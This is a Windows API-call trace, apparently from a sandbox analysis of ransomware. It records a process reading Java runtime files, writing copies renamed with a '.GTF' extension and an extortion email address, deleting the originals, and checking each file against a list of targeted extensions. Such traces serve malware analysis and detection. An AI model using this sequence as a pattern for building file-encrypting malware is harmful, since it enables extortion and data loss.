	[0155.426] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.426] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xee, lpOverlapped=0x0) returned 1
	[0155.426] SetEndOfFile (hFile=0x418) returned 1
	[0155.426] CloseHandle (hObject=0x418) returned 1
	[0155.426] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.426] SetEndOfFile (hFile=0x45c) returned 1
	[0155.431] CloseHandle (hObject=0x45c) returned 1
	[0155.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.432] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1
	[0155.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.432] lstrlenW (lpString=".doc") returned 4
	[0155.432] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0155.432] lstrlenW (lpString=".docx") returned 5
	[0155.432] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0155.432] lstrlenW (lpString=".pdf") returned 4
	[0155.432] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0155.432] lstrlenW (lpString=".xls") returned 4
	[0155.432] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0155.432] lstrlenW (lpString=".xlsx") returned 5
	[0155.432] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0155.432] lstrlenW (lpString=".ppt") returned 4
	[0155.432] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.433] lstrlenW (lpString=".zip") returned 4
	[0155.433] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString=".rar") returned 4
	[0155.433] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString=".bz2") returned 4
	[0155.433] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString=".7z") returned 3
	[0155.433] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.433] lstrlenW (lpString=".dbf") returned 4
	[0155.433] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.433] lstrlenW (lpString=".1cd") returned 4
	[0155.433] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.433] lstrlenW (lpString=".jpg") returned 4
	[0155.433] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.433] lstrlenW (lpString=".doc") returned 4
	[0155.433] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString=".docx") returned 5
	[0155.433] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0155.433] lstrlenW (lpString=".pdf") returned 4
	[0155.433] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString=".xls") returned 4
	[0155.433] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString=".xlsx") returned 5
	[0155.433] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0155.433] lstrlenW (lpString=".ppt") returned 4
	[0155.433] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.433] lstrlenW (lpString=".zip") returned 4
	[0155.433] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0155.433] lstrlenW (lpString=".rar") returned 4
	[0155.434] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0155.434] lstrlenW (lpString=".bz2") returned 4
	[0155.434] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0155.434] lstrlenW (lpString=".7z") returned 3
	[0155.434] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.434] lstrlenW (lpString=".dbf") returned 4
	[0155.434] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0155.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.434] lstrlenW (lpString=".1cd") returned 4
	[0155.434] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0155.434] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0155.434] lstrlenW (lpString=".jpg") returned 4
	[0155.434] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0155.434] lstrcmpiW (lpString1=".pf", lpString2=".GTF") returned 1
	[0155.434] lstrlenW (lpString="PYCC.pf") returned 7
	[0155.434] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0155.435] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=274474) returned 1
	[0155.435] CloseHandle (hObject=0x45c) returned 1
	[0155.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20
	[0155.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.435] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0155.435] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.435] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.435] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.436] GetLastError () returned 0x0
	[0155.436] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x4302a, lpOverlapped=0x0) returned 1
	[0155.446] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x43030, lpOverlapped=0x0) returned 1
	[0155.452] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.452] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0155.452] SetEndOfFile (hFile=0x418) returned 1
	[0155.452] CloseHandle (hObject=0x418) returned 1
	[0155.452] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.452] SetEndOfFile (hFile=0x45c) returned 1
	[0155.837] CloseHandle (hObject=0x45c) returned 1
	[0155.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.477] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1
	[0156.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.477] lstrlenW (lpString=".doc") returned 4
	[0156.477] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0156.477] lstrlenW (lpString=".docx") returned 5
	[0156.477] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0156.478] lstrlenW (lpString=".pdf") returned 4
	[0156.478] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".xls") returned 4
	[0156.478] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".xlsx") returned 5
	[0156.478] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0156.478] lstrlenW (lpString=".ppt") returned 4
	[0156.478] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.478] lstrlenW (lpString=".zip") returned 4
	[0156.478] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".rar") returned 4
	[0156.478] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".bz2") returned 4
	[0156.478] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".7z") returned 3
	[0156.478] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0156.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.478] lstrlenW (lpString=".dbf") returned 4
	[0156.478] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.478] lstrlenW (lpString=".1cd") returned 4
	[0156.478] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.478] lstrlenW (lpString=".jpg") returned 4
	[0156.478] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.478] lstrlenW (lpString=".doc") returned 4
	[0156.478] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".docx") returned 5
	[0156.478] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1
	[0156.478] lstrlenW (lpString=".pdf") returned 4
	[0156.478] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".xls") returned 4
	[0156.478] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1
	[0156.478] lstrlenW (lpString=".xlsx") returned 5
	[0156.479] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1
	[0156.479] lstrlenW (lpString=".ppt") returned 4
	[0156.479] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1
	[0156.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.479] lstrlenW (lpString=".zip") returned 4
	[0156.479] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1
	[0156.479] lstrlenW (lpString=".rar") returned 4
	[0156.479] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1
	[0156.479] lstrlenW (lpString=".bz2") returned 4
	[0156.479] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1
	[0156.479] lstrlenW (lpString=".7z") returned 3
	[0156.479] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0156.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.479] lstrlenW (lpString=".dbf") returned 4
	[0156.479] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1
	[0156.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.479] lstrlenW (lpString=".1cd") returned 4
	[0156.479] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1
	[0156.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50
	[0156.479] lstrlenW (lpString=".jpg") returned 4
	[0156.479] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1
	[0156.479] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.479] lstrlenW (lpString="messages_sv.properties") returned 22
	[0156.479] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.484] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3409) returned 1
	[0156.484] CloseHandle (hObject=0x494) returned 1
	[0156.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20
	[0156.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.485] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.485] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.485] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.485] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0156.485] GetLastError () returned 0x0
	[0156.485] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xd51, lpOverlapped=0x0) returned 1
	[0156.487] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xd60, lpOverlapped=0x0) returned 1
	[0156.488] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.488] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x100, lpOverlapped=0x0) returned 1
	[0156.488] SetEndOfFile (hFile=0x418) returned 1
	[0156.489] CloseHandle (hObject=0x418) returned 1
	[0156.489] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.489] SetEndOfFile (hFile=0x494) returned 1
	[0156.491] CloseHandle (hObject=0x494) returned 1
	[0156.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.491] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1
	[0156.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.492] lstrlenW (lpString=".doc") returned 4
	[0156.492] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.492] lstrlenW (lpString=".docx") returned 5
	[0156.492] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.492] lstrlenW (lpString=".pdf") returned 4
	[0156.492] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.492] lstrlenW (lpString=".xls") returned 4
	[0156.492] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.492] lstrlenW (lpString=".xlsx") returned 5
	[0156.492] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.492] lstrlenW (lpString=".ppt") returned 4
	[0156.492] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.492] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.492] lstrlenW (lpString=".zip") returned 4
	[0156.492] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.492] lstrlenW (lpString=".rar") returned 4
	[0156.492] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.492] lstrlenW (lpString=".bz2") returned 4
	[0156.492] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.492] lstrlenW (lpString=".7z") returned 3
	[0156.492] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.493] lstrlenW (lpString=".dbf") returned 4
	[0156.493] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.493] lstrlenW (lpString=".1cd") returned 4
	[0156.493] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.493] lstrlenW (lpString=".jpg") returned 4
	[0156.493] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.493] lstrlenW (lpString=".doc") returned 4
	[0156.493] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString=".docx") returned 5
	[0156.493] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.493] lstrlenW (lpString=".pdf") returned 4
	[0156.493] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString=".xls") returned 4
	[0156.493] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString=".xlsx") returned 5
	[0156.493] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.493] lstrlenW (lpString=".ppt") returned 4
	[0156.493] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.493] lstrlenW (lpString=".zip") returned 4
	[0156.493] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString=".rar") returned 4
	[0156.493] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString=".bz2") returned 4
	[0156.493] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString=".7z") returned 3
	[0156.493] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.493] lstrlenW (lpString=".dbf") returned 4
	[0156.493] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.493] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.494] lstrlenW (lpString=".1cd") returned 4
	[0156.494] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0156.494] lstrlenW (lpString=".jpg") returned 4
	[0156.494] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.494] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.494] lstrlenW (lpString="messages_zh_CN.properties") returned 25
	[0156.494] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.494] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4072) returned 1
	[0156.494] CloseHandle (hObject=0x494) returned 1
	[0156.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20
	[0156.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0156.495] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.495] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0156.495] GetLastError () returned 0x0
	[0156.495] ReadFile (in: hFile=0x494, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xfe8, lpOverlapped=0x0) returned 1
	[0156.497] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xff0, lpOverlapped=0x0) returned 1
